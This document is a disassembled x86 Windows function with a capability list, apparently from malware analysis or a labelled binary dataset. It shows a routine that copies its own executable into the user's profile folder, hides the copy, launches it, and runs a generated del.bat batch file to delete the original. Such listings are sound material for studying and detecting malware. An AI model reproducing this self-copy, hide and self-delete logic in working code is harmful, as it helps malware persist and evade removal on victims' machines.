Function at 0x41c2d0
Capabilities:
Check if file exists
Copy file
Create process on windows
Get file attributes
Get session user name
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4438a2
mov eax, dword fs:[0]
push eax
sub esp, 0x9ac
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xff
lea eax, [ebp - 0x55c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x55c], 0
mov dword [ebp - 0x76c], 0
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x768], 0xf
mov dword [ebp - 0x76c], 0
mov byte [ebp - 0x77c], 0
jne 0x41c34d
xor ecx, ecx
jmp 0x41c35f
lea ecx, [ebp - 0x55c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c356
sub ecx, edx
push ecx
lea eax, [ebp - 0x55c]
push eax
lea ecx, [ebp - 0x77c]
call fcn.004229e0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x45c]
push 0xff
push 0
push eax
call fcn.00429e30
xor eax, eax
xor ecx, ecx
add esp, 0xc
mov dword [ebp - 0x780], eax
xor edx, edx
mov dword [ebp - 0x788], ecx
cmp dword [ebp - 0x76c], eax
jbe 0x41c4f0
mov esi, dword [ebp - 0x768]
mov edi, dword [ebp - 0x77c]
nop dword [eax]
test eax, eax
lea eax, [ebp - 0x77c]
jne 0x41c48d
cmp esi, 0x10
cmovae eax, edi
cmp byte [eax + edx - 5], 0x55
jne 0x41c475
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
cmp byte [eax + edx - 4], 0x73
jne 0x41c475
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
cmp byte [eax + edx - 3], 0x65
jne 0x41c475
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
cmp byte [eax + edx - 2], 0x72
jne 0x41c475
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
cmp byte [eax + edx - 1], 0x73
jne 0x41c475
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
cmp byte [edx + eax], 0x5c
jne 0x41c475
lea ecx, [ebp - 0x45c]
mov dword [ebp - 0x780], 1
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41c452
mov eax, dword [0x4501e0]
mov dword [ecx], eax
mov eax, dword [str.ername_]
mov dword [ecx + 4], eax
mov eax, dword [0x4501e8]
mov dword [ecx + 8], eax
jmp 0x41c4d7
cmp esi, 0x10
lea eax, [ebp - 0x77c]
cmovae eax, edi
mov al, byte [eax + edx]
mov byte [ebp + edx - 0x45c], al
jmp 0x41c4dd
cmp esi, 0x10
cmovae eax, edi
cmp byte [eax + edx], 0x5c
jne 0x41c4a0
inc ecx
mov dword [ebp - 0x788], ecx
cmp ecx, 1
jl 0x41c4dd
lea ecx, [ebp - 0x45c]
lea eax, [ecx + 1]
mov dword [ebp - 0x784], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c4b4
sub ecx, dword [ebp - 0x784]
lea eax, [ebp - 0x77c]
cmp esi, 0x10
cmovae eax, edi
mov al, byte [eax + edx]
mov byte [ebp + ecx - 0x45c], al
mov ecx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x780]
inc edx
cmp edx, dword [ebp - 0x76c]
jb 0x41c3c0
lea eax, [ebp - 0x78c]
mov dword [ebp - 0x78c], 0x32
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, 0x20
push 0x15c
mov word [ebp - 0x2b0], ax
lea eax, [ebp - 0x2ae]
push 0
push eax
call fcn.00429e30
push str.SystemDrive
call fcn.0042e7c1
lea edx, [ebp - 0x2b0]
add esp, 0x10
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x41c542
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
movups xmmword [ebp - 0x48], xmm0
movq qword [ebp - 0x38], xmm0
call fcn.0041e5b0
lea edx, [ebp - 0x58]
sub edx, eax
nop dword [eax]
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x41c570
push 0xaa
lea eax, [ebp - 0x35c]
push 0
push eax
call fcn.00429e30
mov ax, word [0x450200]
xorps xmm0, xmm0
mov word [ebp - 0x798], ax
add esp, 0xc
cmp word [ebp - 0x58], 0x58
mov al, byte [0x450202]
movups xmmword [ebp - 0x84], xmm0
mov byte [ebp - 0x796], al
mov eax, dword [0x450204]
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x30], eax
mov eax, dword [0x450208]
movq qword [ebp - 0x64], xmm0
movq xmm0, qword [0x4501f8]
movq qword [ebp - 0x7a0], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x795], xmm0
mov dword [ebp - 0x2c], eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0
jne 0x41c646
cmp word [ebp - 0x56], 0x50
jne 0x41c646
lea edi, [ebp - 0x2b0]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c612
mov ecx, 6
mov esi, str.Documents_and_Settings_
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
nop dword [eax]
mov al, byte [ecx + 0x450228]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x85], al
test al, al
jne 0x41c630
jmp 0x41c684
lea ecx, [ebp - 0x2b0]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41c650
mov eax, dword [str.Users_]
mov dword [ecx], eax
mov eax, dword [0x450240]
mov dword [ecx + 4], eax
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x450244]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x85], al
test al, al
jne 0x41c670
lea edx, [ebp - 0x150]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x41c690
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c6a0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x84]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41c6c0
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c6d0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x2b0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41c6f0
lea edi, [ebp - 0x35c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c700
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x41c720
lea edi, [ebp - 0x35c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c730
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x7a0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41c750
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41c760
mov ecx, edx
lea eax, [ebp - 0x2b0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call esi
cmp eax, 0xffffffff
lea eax, [ebp - 0x35c]
jne 0x41cc96
sub esp, 0xc
lea ecx, [ebp - 0x900]
push eax
call fcn.00420de0
mov byte [ebp - 4], 1
cmp word [ebp - 0x58], 0x58
jne 0x41c7f0
cmp word [ebp - 0x56], 0x50
jne 0x41c7f0
mov edx, str.chcp_1252_n_echo_off_n
lea ecx, [ebp - 0x900]
call fcn.004258d0
mov edx, str.del__
lea ecx, [ebp - 0x900]
call fcn.004258d0
lea edx, [ebp - 0x45c]
mov ecx, eax
call fcn.004258d0
mov edx, 0x45026c
mov ecx, eax
call fcn.004258d0
jmp 0x41c824
mov edx, str._echo_off_n
lea ecx, [ebp - 0x900]
call fcn.004258d0
mov edx, str.del
lea ecx, [ebp - 0x900]
call fcn.004258d0
lea edx, [ebp - 0x45c]
mov ecx, eax
call fcn.004258d0
mov ecx, eax
call fcn.00425690
mov edx, 0x450278
lea ecx, [ebp - 0x900]
call fcn.004258d0
cmp dword [ebp - 0x8b0], 0
lea esi, [ebp - 0x8fc]
jne 0x41c847
xor esi, esi
jmp 0x41c86e
lea ecx, [ebp - 0x8fc]
call fcn.004237a0
push dword [ebp - 0x8b0]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004302c4
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x8fc]
call fcn.00423920
test esi, esi
jne 0x41c8a8
mov eax, dword [ebp - 0x900]
lea ecx, [ebp - 0x900]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x41c8a0
or eax, 4
push 0
push eax
call fcn.00403670
push 0
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x55c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
lea eax, [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x8c
call fcn.00426b9d
add esp, 4
mov dword [ebp - 0x780], eax
lea eax, [ebp - 0x764]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 8
lea eax, [ebp - 0x764]
lea ecx, [ebp - 0x9b8]
push 0x21
push eax
call fcn.0041f6c0
mov byte [ebp - 4], 2
push ecx
push 0xffffffffffffffff
push 0xffffffffffffffdc
lea ecx, [ebp - 0x9b8]
call fcn.004204b0
mov edi, dword [ebp - 0x78c]
xor esi, esi
nop word [eax + eax]
lea ecx, [ebp - 0x9b8]
call fcn.00420830
movzx eax, ax
mov ecx, 0xffff
cmp cx, ax
je 0x41c94a
mov edi, eax
mov eax, dword [ebp - 0x780]
mov word [eax + esi*2], di
inc esi
cmp esi, 0x24
jl 0x41c930
cmp dword [ebp - 0x95c], 0
lea esi, [ebp - 0x9a8]
jne 0x41c96d
xor esi, esi
jmp 0x41c994
lea ecx, [ebp - 0x9a8]
call fcn.00422ed0
push dword [ebp - 0x95c]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004302c4
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x9a8]
call fcn.00423060
test esi, esi
jne 0x41c9ce
mov eax, dword [ebp - 0x9b8]
lea ecx, [ebp - 0x9b8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x41c9c6
or eax, 4
push 0
push eax
call fcn.00403670
sub esp, 0xc
lea eax, [ebp - 0x2b0]
lea ecx, [ebp - 0x850]
push eax
call fcn.0041f2f0
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x780]
cmp word [eax], 0x2a
je 0x41ca7b
cmp word [eax + 2], 0x2a
je 0x41ca7b
push ecx
push 0
push 0
lea ecx, [ebp - 0x850]
call fcn.00420280
call fcn.0041d080
sub esp, 0x18
mov esi, eax
mov edx, esp
mov dword [ebp - 0x784], esp
xor eax, eax
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
mov word [edx], ax
cmp word [esi], ax
jne 0x41ca40
xor ecx, ecx
jmp 0x41ca54
mov ecx, esi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41ca45
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.004225f0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
call fcn.0041d590
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 7
jmp 0x41cb6e
mov esi, 0xffffffdc
push ecx
mov eax, esi
lea ecx, [ebp - 0x850]
cdq
push edx
push eax
call fcn.00420280
mov ecx, eax
call fcn.004253a0
add esi, 1
js 0x41ca80
mov eax, dword [ebp - 0x850]
lea ecx, [ebp - 0x850]
mov edx, 4
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
cmove eax, edx
push eax
call fcn.00403670
push ecx
push 0xffffffffffffffff
push 0xffffffffffffffdd
lea ecx, [ebp - 0x850]
call fcn.00420280
push 0x66
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.00429e30
add esp, 0xc
call fcn.0041d080
lea edx, [ebp - 0x11c]
sub edx, eax
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x41caf3
sub esp, 0x18
xor eax, eax
mov edx, esp
mov dword [ebp - 0x784], esp
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
mov word [edx], ax
cmp word [ebp - 0x11c], ax
jne 0x41cb2e
xor ecx, ecx
jmp 0x41cb46
lea ecx, [ebp - 0x11c]
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41cb37
sub ecx, esi
sar ecx, 1
push ecx
lea eax, [ebp - 0x11c]
mov ecx, edx
push eax
call fcn.004225f0
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
call fcn.0041d590
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 5
mov edx, 0x4501dc
lea ecx, [ebp - 0x850]
call fcn.00424c10
mov edx, esi
mov ecx, eax
call fcn.00425180
mov edx, 0x4501dc
mov ecx, eax
call fcn.00424c10
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x41cbac
inc eax
lea ecx, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
call fcn.00423bf0
xor eax, eax
mov dword [ebp - 0x18], 7
lea esi, [ebp - 0x84c]
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x800], eax
jne 0x41cbce
xor esi, esi
jmp 0x41cbf5
lea ecx, [ebp - 0x84c]
call fcn.00422ed0
push dword [ebp - 0x800]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004302c4
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x84c]
call fcn.00423060
test esi, esi
jne 0x41cc2f
mov eax, dword [ebp - 0x850]
lea ecx, [ebp - 0x850]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x41cc27
or eax, 4
push 0
push eax
call fcn.00403670
push 0x40
lea eax, [ebp - 0x9c]
mov dword [ebp - 0xa0], 0x44
push 0
push eax
call fcn.00429e30
xor eax, eax
mov dword [ebp - 0x74], 1
add esp, 0xc
mov word [ebp - 0x70], ax
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [ebp - 0x7a0]
push eax
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
call fcn.0042f6ed
push eax
call esi
cmp eax, 0xffffffff
je 0x41cdf6
push str.SystemDrive
call fcn.0042e7c1
lea edx, [ebp - 0xb4]
add esp, 4
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x41ccb7
lea eax, [ebp - 0x784]
mov dword [ebp - 0x784], 0x19
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp word [ebp - 0x58], 0x58
jne 0x41cd73
cmp word [ebp - 0x56], 0x50
jne 0x41cd73
lea edi, [ebp - 0xb4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41cd00
mov ecx, 6
lea edx, [ebp - 0x2c]
mov esi, str.Documents_and_Settings_
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, edx
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x41cd20
lea edi, [ebp - 0xb4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41cd30
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41cd50
mov ecx, 6
mov esi, str.Application_Datadel.bat
rep movsd dword es:[edi], dword [esi]
push 0x3e8
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41cde7
lea ecx, [ebp - 0xb4]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41cd80
mov eax, dword [str.Users_]
lea edx, [ebp - 0x2c]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x450240]
mov dword [ecx + 4], eax
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41cda0
lea edi, [ebp - 0xb4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41cdb0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41cdd0
mov ecx, 5
mov esi, str.AppDataLocaldel.bat
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x768]
cmp eax, 0x10
jb 0x41ce1b
inc eax
lea ecx, [ebp - 0x77c]
push eax
push dword [ebp - 0x77c]
call fcn.00423c70
mov dword [ebp - 0x768], 0xf
mov dword [ebp - 0x76c], 0
mov byte [ebp - 0x77c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret